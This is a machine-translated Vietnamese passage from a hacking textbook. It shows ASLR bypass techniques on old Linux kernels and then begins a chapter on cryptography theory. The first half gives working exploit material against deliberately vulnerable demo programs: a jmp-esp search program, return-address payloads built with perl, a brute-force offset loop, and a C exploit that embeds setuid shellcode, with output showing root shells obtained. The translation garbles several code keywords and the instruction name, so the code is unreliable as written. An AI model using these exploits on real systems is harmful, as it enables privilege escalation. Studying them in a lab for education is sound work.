trở nên phổ biến và tất nhiên, các nhà phát triển đã vá lỗi. Hạt nhân được sử dụng trong LiveCD đi
kèm là 2.6.20, vì vậy đầu ra bên dưới là từ máy loki, đang chạy hạt nhân Linux 2.6.17. Mặc dù kỹ thuật
cụ thể này không hoạt động trên LiveCD, nhưng các khái niệm đằng sau nó có thể được áp dụng theo những
cách hữu ích khác.
384 0x600
Machine Translated by Google
Bounce off linux-gate đề cập đến một đối tượng được chia sẻ, được phơi bày bởi hạt nhân,
trông giống như một thư viện chia sẻ. Chương trình ldd hiển thị các phụ thuộc thư viện
chia sẻ của chương trình. Bạn có nhận thấy điều gì thú vị về thư viện linux-gate trong đầu
ra bên dưới không?
matrix@loki /hacking $ $ uname -a
Linux hacking 2.6.17 #2 SMP CN 11/04 03:42:05 UTC 2007 i686 GNU/Linux
matrix@loki /hacking $ cat /proc/sys/kernel/randomize_va_space
1
matrix@loki /hacking $ ldd ./aslr_demo
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/libc.so.6 (0xb7eb2000)
/lib/ld-linux.so.2 (0xb7fe5000)
matrix@loki /hacking $ ldd /bin/ls
linux-gate.so.1 => (0xffffe000)
librt.so.1 => /lib/librt.so.1 (0xb7f95000)
libc.so.6 => /lib/libc.so.6 (0xb7e75000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb7e62000)
/lib/ld-linux.so.2 (0xb7fb1000)
matrix@loki /hacking $ ldd /bin/ls
linux-gate.so.1 => (0xffffe000)
librt.so.1 => /lib/librt.so.1 (0xb7f50000)
libc.so.6 => /lib/libc.so.6 (0xb7e30000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb7e1d000)
/lib/ld-linux.so.2 (0xb7f6c000)
matrix@loki /hacking $
Ngay cả trong các chương trình khác nhau và với ASLR được bật, linux-gate.so.1 luôn có mặt ở
cùng một địa chỉ. Đây là một đối tượng được chia sẻ động ảo được nhân sử dụng để tăng tốc các lệnh gọi
hệ thống, nghĩa là nó cần thiết trong mọi quy trình. Nó được tải trực tiếp từ nhân và không tồn tại
ở bất kỳ đâu trên đĩa.
Điều quan trọng là mọi tiến trình đều có một khối bộ nhớ chứa các lệnh linux-gate, luôn
ở cùng một vị trí, ngay cả với ASLR. Chúng ta sẽ tìm kiếm không gian bộ nhớ này cho một lệnh
lắp ráp nhất định, jmp esp. Lệnh này sẽ nhảy EIP đến nơi ESP đang trỏ đến.
Đầu tiên, chúng ta biên dịch lệnh để xem nó trông như thế nào trong mã máy.
matrix@loki /hacking $ cat > jmpesp.s
BIT 32
jmp đặc biệt
matrix@loki /hacking $ nasm jmpesp.s
matrix@loki /hacking $ hexdump -C jmpesp
00000000 ff e4
00000002
|..|
matrix@loki /hacking $
Sử dụng thông tin này, một chương trình đơn giản có thể được viết để tìm mẫu này trong
bộ nhớ của chương trình.
Biện pháp đối phó 385
Machine Translated by Google
tìm_jmpesp.c
int chính()
{
không dấu dài linuxgate_start = 0xffffe000;
char *ptr = (char *) linuxgate_start;
số nguyên i;
đối với (i = 0; i < 4096; i++)
{
nếu(ptr[i] == '\xff' && ptr[i+1] == '\xe4')
printf("tìm thấy jmp esp tại %p\n", ptr+i);
}
}
Khi chương trình được biên dịch và chạy, nó cho thấy lệnh này
tồn tại ở 0xffffe777. Điều này có thể được xác minh thêm bằng GDB:
matrix@loki /hacking $ ./find_jmpesp
tìm thấy jmp esp tại 0xffffe777
matrix@loki /hacking $ gdb -q ./aslr_demo
Sử dụng thư viện libthread_db lưu trữ "/lib/libthread_db.so.1".
(gdb) ngắt chính
Điểm dừng 1 tại 0x80483f0: tệp aslr_demo.c, dòng 7.
(gdb) chạy
Bắt đầu chương trình: /hacking/aslr_demo
Điểm dừng 1, chính (argc=1, argv=0xbf869894) tại aslr_demo.c:7
7
printf("bộ đệm ở %p\n", &bộ đệm);
(gdb) x/i 0xffffe777
0xffffe777: jmp (gdb)
đặc biệt
Tổng hợp lại, nếu chúng ta ghi đè địa chỉ trả về bằng địa chỉ 0xffffe777, thì
thực thi sẽ nhảy vào linux-gate khi hàm main trả về. Vì đây là lệnh jmp esp , nên
thực thi sẽ ngay lập tức nhảy ra khỏi linux-gate đến bất cứ nơi nào ESP tình cờ trỏ
đến. Từ lần gỡ lỗi trước, chúng ta biết rằng ở cuối hàm main, ESP trỏ đến bộ nhớ
ngay sau địa chỉ trả về. Vì vậy, nếu shellcode được đặt ở đây, EIP sẽ nhảy ngay vào
đó.
matrix@loki /hacking $ sudo chown root:root ./aslr_demo
matrix@loki /hacking $ sudo chmod u+s ./aslr_demo
matrix@loki /hacking $ ./aslr_demo $(perl -e 'print "\x77\xe7\xff\xff"x20')$(cat scode.bin)
bộ đệm ở 0xbf8d9ae0
sh-3.1#
Kỹ thuật này cũng có thể được sử dụng để khai thác chương trình notesearch, như
được hiển thị ở đây.
386 0x600
Machine Translated by Google
matrix@loki /hacking $ for i in `seq 1 50`; thực hiện ./notesearch $(perl -e "print 'AAAA'x$i"); if [ $? == 139 ]; then echo
"Thử $i words"; break; fi; xong [DEBUG] tìm thấy một ghi chú 34 byte
cho id người dùng 1000 [DEBUG] tìm thấy một ghi chú 41 byte
cho id người dùng 1000 [DEBUG] tìm thấy một ghi chú 63 byte
cho id người dùng 1000 -------[ kết thúc dữ liệu ghi
chú ]------*** ĐẦU RA ĐÃ ĐƯỢC CẮT GIẢM ***
[DEBUG] tìm thấy một ghi chú 34 byte cho id người dùng 1000
[DEBUG] tìm thấy một ghi chú 41 byte cho id người dùng 1000
[DEBUG] tìm thấy một ghi chú 63 byte cho id người dùng 1000
-------[ kết thúc dữ liệu ghi chú ]------Lỗi phân đoạn Hãy thử
35 từ
matrix@loki /hacking $ ./notesearch $(perl -e 'print "\x77\xe7\xff\xff"x35')$(cat scode.bin)
[DEBUG] tìm thấy một ghi chú 34 byte cho id người dùng 1000
[DEBUG] tìm thấy một ghi chú 41 byte cho id người dùng 1000
[DEBUG] tìm thấy một ghi chú 63 byte cho id người dùng 1000
-------[ kết thúc dữ liệu ghi chú ]------Ma trận lỗi phân
đoạn@loki /hacking $ ./notesearch $(perl -e 'print "\x77\xe7\xff\xff"x36')$(cat scode2.bin)
[DEBUG] tìm thấy một ghi chú 34 byte cho ID người dùng 1000
[DEBUG] tìm thấy một ghi chú 41 byte cho ID người dùng 1000
[DEBUG] tìm thấy một ghi chú 63 byte cho ID người dùng 1000
-------[ kết thúc dữ liệu ghi chú ]------sh-3.1#
Ước tính ban đầu là 35 từ đã sai, vì chương trình vẫn bị sập
với bộ đệm khai thác nhỏ hơn một chút. Nhưng nó nằm trong phạm vi phù hợp, do đó, chỉ cần điều
chỉnh thủ công (hoặc cách tính toán độ lệch chính xác hơn) là đủ.
Chắc chắn, việc bật linux-gate là một thủ thuật khéo léo, nhưng nó chỉ hoạt động với
các hạt nhân Linux cũ hơn. Quay trở lại LiveCD, chạy Linux 2.6.20, hướng dẫn hữu ích
không còn được tìm thấy trong không gian địa chỉ thông thường nữa.
reader@hacking:~/booksrc $ uname -a Linux
hacking 2.6.20-15-generic #2 SMP CN 15/04 07:36:31 UTC 2007 i686 GNU/Linux reader@hacking:~/booksrc $ gcc -o
find_jmpesp find_jmpesp.c reader@hacking:~/booksrc $ ./find_jmpesp
reader@hacking:~/booksrc $ gcc -g -o aslr_demo
aslr_demo.c reader@hacking:~/booksrc $ ./aslr_demo bộ đệm kiểm tra ở
0xbfcf3480 reader@hacking:~/booksrc $ ./aslr_demo bộ đệm
kiểm tra ở 0xbfd39cd0
reader@hacking:~/booksrc $ export SHELLCODE=$(cat
shellcode.bin) reader@hacking:~/
booksrc $ ./getenvaddr SHELLCODE ./aslr_demo SHELLCODE sẽ ở 0xbfc8d9c3 reader@hacking:~/
booksrc $ ./getenvaddr SHELLCODE ./aslr_demo SHELLCODE sẽ ở 0xbfa0c9c3
reader@hacking:~/booksrc $
Biện pháp đối phó 387
Machine Translated by Google
Nếu không có lệnh jmp esp ở địa chỉ có thể dự đoán được, sẽ không có cách dễ
dàng nào để thoát khỏi linux-gate. Bạn có thể nghĩ ra cách nào để bỏ qua ASLR để khai
thác aslr_demo trên LiveCD không?
0x6c3 Kiến thức ứng dụng
Những tình huống như thế này chính là điều khiến việc hack trở thành một nghệ thuật.
Tình hình bảo mật máy tính là một bối cảnh liên tục thay đổi và các lỗ hổng cụ thể
được phát hiện và vá lỗi mỗi ngày. Tuy nhiên, nếu bạn hiểu các khái niệm về các kỹ
thuật hack cốt lõi được giải thích trong cuốn sách này, bạn có thể áp dụng chúng theo
những cách mới và sáng tạo để giải quyết vấn đề của ngày hôm nay. Giống như những
viên gạch LEGO, các kỹ thuật này có thể được sử dụng theo hàng triệu cách kết hợp
và cấu hình khác nhau. Cũng như bất kỳ nghệ thuật nào, bạn càng thực hành các kỹ thuật
này nhiều thì bạn sẽ càng hiểu chúng tốt hơn. Với sự hiểu biết này, bạn sẽ có được sự
khôn ngoan để ước tính độ lệch và nhận dạng các phân đoạn bộ nhớ theo phạm vi địa chỉ của chúng.
Trong trường hợp này, vấn đề vẫn là ASLR. Hy vọng là bạn có một vài ý tưởng bỏ
qua mà bạn có thể muốn thử ngay bây giờ. Đừng ngại sử dụng trình gỡ lỗi để kiểm tra
những gì thực sự đang xảy ra. Có lẽ có một số cách để bỏ qua ASLR và bạn có thể phát
minh ra một kỹ thuật mới. Nếu bạn không tìm ra giải pháp, đừng lo lắng—tôi sẽ giải thích
một phương pháp trong phần tiếp theo. Nhưng bạn nên tự mình suy nghĩ một chút về vấn đề
này trước khi đọc tiếp.
0x6c4 Lần thử đầu tiên
Trên thực tế, tôi đã viết chương này trước khi linux-gate được sửa trong nhân Linux,
vì vậy tôi phải hack lại một ASLR bypass. Ý nghĩ đầu tiên của tôi là tận dụng họ hàm
execl() . Chúng tôi đã sử dụng execve()
chức năng trong shellcode của chúng ta để tạo ra một shell và nếu bạn chú ý kỹ (hoặc
chỉ đọc trang hướng dẫn), bạn sẽ thấy hàm execve() thay thế quy trình đang chạy bằng
hình ảnh quy trình mới.
THỰC HIỆN(3)
Sổ tay lập trình Linux
TÊN
execl, execlp, execle, execv, execvp - thực thi một tập tin
TÓM TẮT
#include <unistd.h>
ký tự bên ngoài **môi trường;
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg,
..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
SỰ MIÊU TẢ
Họ hàm exec() thay thế quy trình hiện tại
hình ảnh với một hình ảnh quy trình mới. Các chức năng được mô tả trong
trang hướng dẫn là giao diện cho hàm execve(2). (Xem
388 0x600
Machine Translated by Google
trang hướng dẫn cho execve() để biết thông tin chi tiết về
thay thế quy trình hiện tại.)
Có vẻ như có thể có điểm yếu ở đây nếu bố cục bộ nhớ chỉ được ngẫu
nhiên hóa khi quá trình bắt đầu. Hãy thử nghiệm giả thuyết này bằng một đoạn
mã in địa chỉ của một biến ngăn xếp và sau đó thực thi aslr_demo bằng hàm
execl() .
aslr_execl.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
int stack_var;
// In ra địa chỉ từ khung ngăn xếp hiện tại.
printf("stack_var ở vị trí %p\n", &stack_var);
// Khởi động aslr_demo để xem ngăn xếp của nó được sắp xếp như thế nào.
thực hiện("./aslr_demo", "aslr_demo", NULL);
}
Khi chương trình này được biên dịch và thực thi, nó sẽ execl() aslr_demo,
cũng in ra địa chỉ của một biến ngăn xếp (bộ đệm). Điều này cho phép chúng ta so
sánh các bố cục bộ nhớ.
reader@hacking:~/booksrc $ gcc -o aslr_demo aslr_demo.c
reader@hacking:~/booksrc $ gcc -o aslr_execl aslr_execl.c
reader@hacking:~/booksrc $ ./aslr_demo thử nghiệm
bộ đệm ở 0xbf9f31c0
reader@hacking:~/booksrc $ ./aslr_demo thử nghiệm
bộ đệm ở 0xbffaaf70
reader@hacking:~/booksrc $ ./aslr_execl
stack_var ở 0xbf832044
bộ đệm ở 0xbf832000
người đọc@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbf832044 - 0xbf832000"
1 = 68
reader@hacking:~/booksrc $ ./aslr_execl
stack_var ở 0xbfa97844
bộ đệm ở 0xbf82f800
người đọc@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfa97844 - 0xbf82f800"
1 = 2523204
reader@hacking:~/booksrc $ ./aslr_execl
stack_var ở 0xbfbb0bc4
bộ đệm ở 0xbff3e710
người đọc@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfbb0bc4 - 0xbff3e710"
1 = 4291241140
reader@hacking:~/booksrc $ ./aslr_execl
stack_var ở 0xbf9a81b4
bộ đệm ở 0xbf9a8180
người đọc@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbf9a81b4 - 0xbf9a8180"
1 = 52
người đọc@hacking:~/booksrc $
Biện pháp đối phó 389
Machine Translated by Google
Kết quả đầu tiên có vẻ rất hứa hẹn, nhưng những nỗ lực tiếp theo cho thấy có một số mức độ ngẫu
nhiên xảy ra khi quy trình mới được thực hiện với execl(). Tôi chắc chắn rằng điều này không phải lúc
nào cũng đúng, nhưng tiến trình của mã nguồn mở khá ổn định. Tuy nhiên, đây không phải là vấn đề lớn,
vì chúng ta có cách để giải quyết sự không chắc chắn một phần đó.
0x6c5 Chơi theo tỷ lệ cược
Sử dụng execl() ít nhất cũng hạn chế được tính ngẫu nhiên và cung cấp cho chúng ta phạm vi địa chỉ
ballpark. Sự không chắc chắn còn lại có thể được xử lý bằng NOP sled. Kiểm tra nhanh aslr_demo cho thấy
bộ đệm tràn cần phải là 80 byte để ghi đè địa chỉ trả về đã lưu trữ trên ngăn xếp.
người đọc@hacking:~/booksrc $ gdb -q ./aslr_demo
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) chạy $(perl -e 'in "AAAA"x19 . "BBBB"')
Bắt đầu chương trình: /home/reader/booksrc/aslr_demo $(perl -e 'print "AAAA"x19 . "BBBB"')
bộ đệm ở 0xbfc7d3b0
Chương trình nhận được tín hiệu SIGSEGV, Lỗi phân đoạn.
0x42424242 trong ?? ()
(gdb) trang 20*4
1 = 80
(gdb) thoát
Chương trình đang chạy. Thoát ra luôn? (y hoặc n) y
người đọc@hacking:~/booksrc $
Vì chúng ta có thể sẽ muốn một NOP sled khá lớn, trong khai thác sau, NOP sled và shellcode sẽ
được đặt sau khi ghi đè địa chỉ trả về. Điều này cho phép chúng ta inject nhiều NOP sled tùy theo nhu
cầu. Trong trường hợp này, khoảng một nghìn byte là đủ.
aslr_execl_exploit.c
#include <stdio.h>
#include <unistd.h>
#include <chuỗi.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80"; // shellcode tiêu chuẩn
int main(int argc, char *argv[]) {
số nguyên không dấu i, ret, offset;
bộ đệm char[1000];
printf("i ở %p\n", &i);
if(argc > 1) // Đặt độ lệch.
bù trừ = atoi(argv[1]);
ret = (unsigned int) &i - offset + 200; // Đặt địa chỉ trả về.
printf("địa chỉ ret là %p\n", ret);
390 0x600
Machine Translated by Google
for(i=0; i < 90; i+=4) // Điền địa chỉ trả về vào bộ đệm.
*((số nguyên không dấu *)(bộ đệm+i)) = ret;
memset(buffer+84, 0x90, 900); // Xây dựng NOP sled.
memcpy(bộ đệm+900, mã shell, sizeof(mã shell));
execl("./aslr_demo", "aslr_demo", bộ đệm, NULL);
}
Mã này có thể có ý nghĩa với bạn. Giá trị 200 được thêm vào địa chỉ trả về để bỏ qua 90 byte đầu
tiên được sử dụng để ghi đè, do đó lệnh thực thi sẽ nằm ở đâu đó trong NOP sled.
người đọc@hacking:~/booksrc $ sudo chown root ./aslr_demo
người đọc@hacking:~/booksrc $ sudo chmod u+s ./aslr_demo
reader@hacking:~/booksrc $ gcc aslr_execl_exploit.c
reader@hacking:~/booksrc $ ./a.out i ở
0xbfa3f26c
địa chỉ ret là 0xb79f6de4
bộ đệm ở 0xbfa3ee80
Lỗi phân đoạn
người đọc@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfa3f26c - 0xbfa3ee80"
1 = 1004
người đọc@hacking:~/booksrc $ ./a.out 1004
tôi đang ở 0xbfe9b6cc
địa chỉ ret là 0xbfe9b3a8
bộ đệm ở 0xbfe9b2e0
sh-3.2# thoát
ra
người đọc@hacking:~/booksrc $ ./a.out 1004
tôi đang ở 0xbfb5a38c
địa chỉ ret là 0xbfb5a068
bộ đệm ở 0xbfb20760
Lỗi phân đoạn
người đọc@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfb5a38c - 0xbfb20760"
1 = 236588
người đọc@hacking:~/booksrc $ ./a.out 1004
tôi đang ở 0xbfce050c
địa chỉ ret là 0xbfce01e8
bộ đệm ở 0xbfce0130
sh-3.2# ai đó
gốc rễ
sh-3.2#
Như bạn có thể thấy, đôi khi việc ngẫu nhiên hóa khiến khai thác thất bại, nhưng nó
chỉ cần thành công một lần. Điều này tận dụng thực tế là chúng ta có thể thử khai thác
nhiều lần tùy thích. Kỹ thuật tương tự sẽ hoạt động với khai thác note-search trong khi
ASLR đang chạy. Hãy thử viết một khai thác để thực hiện việc này.
Một khi các khái niệm cơ bản về khai thác chương trình được hiểu, vô số biến thể có
thể xảy ra với một chút sáng tạo. Vì các quy tắc của một chương trình được xác định bởi
những người tạo ra nó, việc khai thác một chương trình được cho là an toàn chỉ đơn giản
là vấn đề đánh bại họ trong trò chơi của chính họ. Các phương pháp thông minh mới, chẳng
hạn như stack guards và IDS, cố gắng bù đắp cho những vấn đề này, nhưng các giải pháp này
cũng không hoàn hảo. Sự khéo léo của tin tặc có xu hướng tìm ra lỗ hổng trong các hệ thống này.
Hãy nghĩ tới những điều họ không nghĩ tới.
Biện pháp đối phó 391
Machine Translated by Google
Machine Translated by Google
0x700
MÃ HÓA HỌC
Mật mã học được định nghĩa là nghiên cứu về mật mã
học hoặc phân tích mật mã. Mật mã học chỉ đơn giản là
quá trình giao tiếp bí mật thông qua việc sử dụng mật
mã, và phân tích mật mã là quá trình bẻ khóa hoặc giải mã
những thông tin liên lạc bí mật như vậy. Trong lịch sử, mật mã học đặc biệt được quan tâm trong chiến
tranh, khi các quốc gia sử dụng mã bí mật để liên lạc với quân đội của họ trong khi cũng cố gắng phá mã của
kẻ thù để xâm nhập vào thông tin liên lạc của họ.
Các ứng dụng thời chiến vẫn còn tồn tại, nhưng việc sử dụng mật mã trong đời sống dân sự
đang ngày càng trở nên phổ biến khi ngày càng có nhiều giao dịch quan trọng diễn ra trên Internet.
Việc đánh hơi mạng rất phổ biến đến nỗi giả định hoang tưởng rằng ai đó luôn đánh hơi lưu lượng mạng có
thể không còn hoang tưởng nữa. Mật khẩu, số thẻ tín dụng và thông tin độc quyền khác đều có thể bị đánh
hơi và đánh cắp qua các giao thức không được mã hóa. Các giao thức truyền thông được mã hóa cung cấp giải
pháp cho tình trạng thiếu riêng tư này và cho phép nền kinh tế Internet hoạt động. Không có Lớp ổ cắm
bảo mật (SSL)
Machine Translated by Google
mã hóa, giao dịch thẻ tín dụng tại các trang web phổ biến sẽ rất bất tiện hoặc
không an toàn.
Tất cả dữ liệu riêng tư này được bảo vệ bằng các thuật toán mật mã
có lẽ là an toàn. Hiện tại, các hệ thống mật mã có thể được chứng minh là an toàn
quá khó sử dụng trong thực tế. Vì vậy, thay vì bằng chứng toán học về tính an toàn,
các hệ thống mật mã an toàn thực tế được sử dụng. Điều này có nghĩa là có thể có các
lối tắt để đánh bại các mật mã này, nhưng chưa ai có thể hiện thực hóa chúng. Tất
nhiên, cũng có các hệ thống mật mã không an toàn chút nào. Điều này có thể là do cách
triển khai, kích thước khóa hoặc đơn giản là điểm yếu về phân tích mật mã trong
chính mật mã. Vào năm 1997, theo luật của Hoa Kỳ, kích thước khóa tối đa được phép
để mã hóa trong phần mềm đã xuất là 40 bit.
Giới hạn về kích thước khóa này khiến cho mã hóa tương ứng không an toàn, như đã được
RSA Data Security và Ian Goldberg, một sinh viên tốt nghiệp từ Đại học California,
Berkeley chỉ ra. RSA đã đăng một thử thách giải mã một thông điệp được mã hóa bằng
khóa 40 bit và ba tiếng rưỡi sau, Ian đã làm được điều đó. Đây là bằng chứng mạnh mẽ
cho thấy khóa 40 bit không đủ lớn cho một hệ thống mật mã an toàn.
Mật mã học có liên quan đến tin tặc theo nhiều cách. Ở cấp độ thuần túy nhất, thử thách giải
câu đố hấp dẫn những người tò mò. Ở cấp độ đen tối hơn, dữ liệu bí mật được bảo vệ bởi câu đố đó có lẽ
còn hấp dẫn hơn. Việc phá vỡ hoặc lách luật bảo vệ mật mã của dữ liệu bí mật có thể mang lại cảm giác
thỏa mãn nhất định, chưa kể đến cảm giác về nội dung của dữ liệu được bảo vệ. Ngoài ra, mật mã mạnh rất
hữu ích trong việc tránh bị phát hiện. Các hệ thống phát hiện xâm nhập mạng đắt tiền được thiết kế
để đánh hơi lưu lượng mạng để tìm chữ ký tấn công sẽ vô dụng nếu kẻ tấn công sử dụng kênh truyền thông
được mã hóa. Thông thường, quyền truy cập Web được mã hóa được cung cấp để bảo mật cho khách hàng bị kẻ
tấn công sử dụng như một vectơ tấn công khó theo dõi.
0x710 Lý thuyết thông tin
Nhiều khái niệm về bảo mật mật mã bắt nguồn từ tư tưởng của Claude Shannon. Những
ý tưởng của ông đã ảnh hưởng rất lớn đến lĩnh vực mật mã, đặc biệt là các khái niệm
về sự khuếch tán và sự nhầm lẫn. Mặc dù các khái niệm sau về bảo mật vô điều kiện,
các miếng đệm một lần, phân phối khóa lượng tử và bảo mật tính toán không thực sự được
Shannon hình thành, nhưng những ý tưởng của ông về tính bí mật hoàn hảo và lý thuyết
thông tin đã có ảnh hưởng lớn đến các định nghĩa về bảo mật.
0x711 Bảo mật vô điều kiện
Một hệ thống mật mã được coi là an toàn vô điều kiện nếu nó không thể bị phá vỡ,
ngay cả với các nguồn tài nguyên tính toán vô hạn. Điều này ngụ ý rằng việc phân tích
mật mã là không thể và ngay cả khi mọi khóa có thể được thử trong một cuộc tấn công
vũ phu, thì cũng không thể xác định được khóa nào là đúng.
394 0x700
Machine Translated by Google
0x712 Sổ ghi chép một lần
Một ví dụ về hệ thống mật mã an toàn vô điều kiện là mật mã một lần.
Một pad dùng một lần là một hệ thống mật mã rất đơn giản sử dụng các khối dữ liệu
ngẫu nhiên được gọi là pad. Pad phải dài ít nhất bằng thông điệp dạng văn bản cần
mã hóa và dữ liệu ngẫu nhiên trên pad phải thực sự ngẫu nhiên, theo nghĩa đen
nhất của từ này. Hai pad giống hệt nhau được tạo ra: một cho người nhận và một cho
người gửi. Để mã hóa một thông điệp, người gửi chỉ cần XOR từng bit của thông
điệp dạng văn bản với bit tương ứng của pad. Sau khi thông điệp được mã hóa, pad
sẽ bị hủy để đảm bảo rằng nó chỉ được sử dụng một lần. Sau đó, thông điệp được mã
hóa có thể được gửi đến người nhận mà không sợ bị phân tích mật mã, vì thông điệp
được mã hóa không thể bị phá vỡ nếu không có pad. Khi người nhận nhận được thông
điệp được mã hóa, anh ta cũng XOR từng bit của thông điệp được mã hóa với bit tương
ứng của pad của mình để tạo ra thông điệp dạng văn bản gốc.
Mặc dù về mặt lý thuyết, miếng đệm dùng một lần không thể bị phá vỡ, nhưng trên thực tế, nó
không thực sự thực tế để sử dụng. Tính bảo mật của sổ ghi chép một lần phụ thuộc
vào tính bảo mật của sổ ghi chép. Khi sổ ghi chép được phân phối cho người nhận
và người gửi, người ta cho rằng kênh truyền sổ ghi chép là an toàn.
Để thực sự an toàn, điều này có thể bao gồm một cuộc gặp mặt trực tiếp và trao
đổi, nhưng để thuận tiện, việc truyền pad có thể được tạo điều kiện thông qua một
mật mã khác. Cái giá của sự tiện lợi này là toàn bộ hệ thống hiện chỉ mạnh bằng
liên kết yếu nhất, đó sẽ là mật mã được sử dụng để truyền pad. Vì pad bao gồm dữ
liệu ngẫu nhiên có cùng độ dài với tin nhắn văn bản thuần túy và vì tính bảo mật
của toàn bộ hệ thống chỉ tốt bằng tính bảo mật của việc truyền pad, nên thường
hợp lý hơn khi chỉ gửi tin nhắn văn bản thuần túy được mã hóa bằng cùng một mật mã
đã được sử dụng để truyền pad.
0x713 Phân phối khóa lượng tử
Sự ra đời của điện toán lượng tử mang lại nhiều điều thú vị cho lĩnh vực mật mã
học. Một trong số đó là việc triển khai thực tế của one-time pad, được thực hiện
thông qua phân phối khóa lượng tử. Bí ẩn của sự vướng víu lượng tử có thể cung cấp
một phương pháp đáng tin cậy và bí mật để gửi một chuỗi bit ngẫu nhiên có thể được
sử dụng làm khóa. Điều này được thực hiện bằng cách sử dụng các trạng thái lượng
tử không trực giao trong photon.
Không đi sâu vào quá nhiều chi tiết, phân cực của một photon là hướng dao động
của trường điện của nó, trong trường hợp này có thể theo chiều ngang, chiều dọc
hoặc một trong hai đường chéo. Không trực giao chỉ đơn giản có nghĩa là các trạng
thái được tách ra bởi một góc không phải là 90 độ. Thật kỳ lạ là không thể xác định
chắc chắn một photon đơn lẻ có phân cực nào trong bốn phân cực này. Cơ sở tuyến
tính của phân cực ngang và phân cực dọc không tương thích với cơ sở đường chéo của
hai phân cực chéo, do đó, do nguyên lý bất định Heisenberg, cả hai tập hợp phân cực
này không thể cùng được đo. Có thể sử dụng bộ lọc để đo phân cực—
một cho cơ sở thẳng và một cho cơ sở chéo. Khi một photon đi qua bộ lọc đúng, độ
phân cực của nó sẽ không thay đổi, nhưng nếu nó đi qua
Mật mã học 395
Machine Translated by Google
qua bộ lọc không đúng, độ phân cực của nó sẽ bị thay đổi ngẫu nhiên. Điều này có nghĩa là bất kỳ nỗ lực
nghe lén nào để đo độ phân cực của một photon đều có khả năng làm xáo trộn dữ liệu, khiến cho kênh
trở nên rõ ràng là không an toàn.
Những khía cạnh kỳ lạ này của cơ học lượng tử đã được Charles Bennett và Gilles
Brassard sử dụng hiệu quả trong sơ đồ phân phối khóa lượng tử đầu tiên và có lẽ là
nổi tiếng nhất, được gọi là BB84. Đầu tiên, người gửi và người nhận đồng ý về biểu
diễn bit cho bốn phân cực, sao cho mỗi cơ sở có cả 1 và 0. Trong sơ đồ này, 1 có
thể được biểu diễn bằng cả phân cực photon dọc và một trong các phân cực chéo (45
độ dương), trong khi 0 có thể được biểu diễn bằng phân cực ngang và phân cực
chéo khác (45 độ âm). Theo cách này, 1 và 0 có thể tồn tại khi phân cực thẳng được
đo và khi phân cực chéo được đo.
Sau đó, người gửi gửi một luồng photon ngẫu nhiên, mỗi photon đến từ một cơ sở
được chọn ngẫu nhiên (hoặc thẳng hoặc chéo), và các photon này được ghi lại. Khi người
nhận nhận được một photon, anh ta cũng ngẫu nhiên chọn đo nó theo cơ sở thẳng hoặc
đường chéo và ghi lại kết quả. Bây giờ, hai bên công khai so sánh cơ sở mà họ sử dụng
cho mỗi photon và họ chỉ giữ lại dữ liệu tương ứng với các photon mà cả hai đều đo
bằng cùng một cơ sở. Điều này không tiết lộ các giá trị bit của photon, vì có cả 1 và
0 trong mỗi cơ sở. Điều này tạo nên khóa cho one-time pad.
Vì kẻ nghe trộm cuối cùng sẽ thay đổi phân cực của một số photon này và do đó làm
xáo trộn dữ liệu, nên có thể phát hiện ra việc nghe trộm bằng cách tính toán tỷ lệ
lỗi của một số tập hợp con ngẫu nhiên của khóa. Nếu có quá nhiều lỗi, có thể ai đó
đã nghe trộm và khóa nên bị vứt bỏ. Nếu không, việc truyền dữ liệu khóa sẽ an toàn
và riêng tư.
0x714 Bảo mật tính toán
Một hệ thống mật mã được coi là an toàn về mặt tính toán nếu thuật toán nổi tiếng
nhất để phá vỡ nó đòi hỏi một lượng tài nguyên tính toán và thời gian không hợp lý.
Điều này có nghĩa là về mặt lý thuyết, kẻ nghe trộm có thể phá vỡ mã hóa, nhưng thực
tế là không khả thi để làm như vậy, vì lượng thời gian và tài nguyên cần thiết sẽ vượt
xa giá trị của thông tin được mã hóa. Thông thường, thời gian cần thiết để phá vỡ
một hệ thống mật mã an toàn về mặt tính toán được đo bằng hàng chục nghìn năm,
ngay cả khi giả định có một loạt lớn tài nguyên tính toán.
Hầu hết các hệ thống mật mã hiện đại đều thuộc loại này.
Điều quan trọng cần lưu ý là các thuật toán nổi tiếng nhất để phá mã hóa
hệ thống luôn luôn tiến hóa và được cải thiện. Về mặt lý tưởng, một hệ thống mật
mã sẽ được định nghĩa là an toàn về mặt tính toán nếu thuật toán tốt nhất để phá vỡ
nó đòi hỏi một lượng tài nguyên tính toán và thời gian không hợp lý, nhưng hiện tại
không có cách nào để chứng minh rằng một thuật toán phá vỡ mã hóa nhất định là và sẽ
luôn là thuật toán tốt nhất. Vì vậy, thuật toán được biết đến nhiều nhất hiện tại được
sử dụng thay thế để đo lường tính bảo mật của hệ thống mật mã.
396 0x700
Machine Translated by Google
Thời gian chạy thuật toán 0x720
Thời gian chạy thuật toán hơi khác so với thời gian chạy của chương trình. Vì thuật
toán chỉ là một ý tưởng nên không có giới hạn nào về tốc độ xử lý để đánh giá thuật
toán. Điều này có nghĩa là biểu thức thời gian chạy thuật toán tính bằng phút hoặc
giây là vô nghĩa.
Nếu không có các yếu tố như tốc độ bộ xử lý và kiến trúc, ẩn số quan trọng đối
với một thuật toán là kích thước đầu vào. Một thuật toán sắp xếp chạy trên 1.000
phần tử chắc chắn sẽ mất nhiều thời gian hơn so với cùng một thuật toán sắp xếp chạy
trên 10 phần tử. Kích thước đầu vào thường được ký hiệu là n và mỗi bước nguyên tử
có thể được biểu thị dưới dạng một số. Thời gian chạy của một thuật toán đơn giản,
